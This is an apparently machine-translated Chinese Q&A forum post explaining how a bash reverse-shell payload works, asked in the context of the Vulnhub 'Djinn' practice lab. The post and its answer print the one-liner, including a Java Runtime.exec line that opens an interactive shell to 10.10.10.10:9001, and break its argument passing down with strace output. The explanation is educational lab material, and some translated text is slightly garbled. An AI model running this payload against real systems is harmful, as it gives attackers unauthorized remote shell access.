这个反向炮弹有效载荷"bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1"做什么?



当试图反转shell时,我发现了这个有效载荷

bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1

在https://www.revshells.com/第java。

我理解bash -i >& /dev/tcp/$IP/$PORT 0>&1,但没能理解bash命令的其余部分的作用。

这是我在Vulnhub上测试过的一个名为Djinn的实验室。我试过其他有效载荷https://revshells.com使用python、nc、php不起作用,但唯一起作用的是上面的bash命令。

这是我的受害者信息

uid=33(www数据(gid=33(www数据(groups=33(www数据(

Linux djinn 4.15.0-66通用

GNU bash,版本4.4.20(1(-发布(x86_64-pc-linux-GNU(

很抱歉,我无法将图片嵌入帖子中。

我的受害者信息:id,os版本,bash版本

p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.10/9001 0>&1");

有趣的事实:Runtime.getRuntime().exec不会扩展$@,也不会集成>&。您可以在strace输出中看到:

$ strace -ff java shell |& grep bash
execve("/usr/bin/bash", ["bash", "-c", "$@|bash", "0", "echo", "bash", "-i", ">&", "/dev/tcp/10.10.10.10/9001", "0>&1"]...

语法为(参见man bash(:

bash -c <script_to_run>  <assign to $0> <assign to $1> <$2> <$3 so on>...

所以它看起来像:

bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - arguments from $0  
^^^^^^^ - script to run 

0被分配给$0echo被分配到$1,依此类推

然后CCD_ 11执行脚本CCD_。第一个$0参数从1扩展到参数列表(请参见man bash(,因此$@扩展到echo bash -i >& /dev/tcp/$IP/$PORT 0>&1(注意:>&解释的,此处为字符串(。

echo bash -i '>&' '/dev/tcp/$IP/$PORT' '0>&1' | bash

然后执行echo ... | bash|是管道,echo输出bash -i >& /dev/tcp/$IP/$PORT 0>&1。在|的右侧,bash侦听要执行的命令,因此它将执行bash -i >& /dev/tcp/$IP/$PORT 0>&1,因为这是echo的输出。

bash -i >& /dev/tcp/$IP/$PORT 0>&1

现在右侧的| bash将把>& 0>&1解释为重定向。shell将生成另一个带有-i参数的bash,即将生成一个交互式bash shell,其中>&stderr和stdout重定向到/dev/tcp/$IP/$PORT,然后0>&1字符串也连接到/dev/tcp/$IP/$PORT/dev/tcp/$IP/$PORT是一个特殊的(内置?(文件,允许bash从网络位置发送/接收,即从/dev/tcp/$IP/$PORT写入或读取就像与远程主机通信一样。

最新更新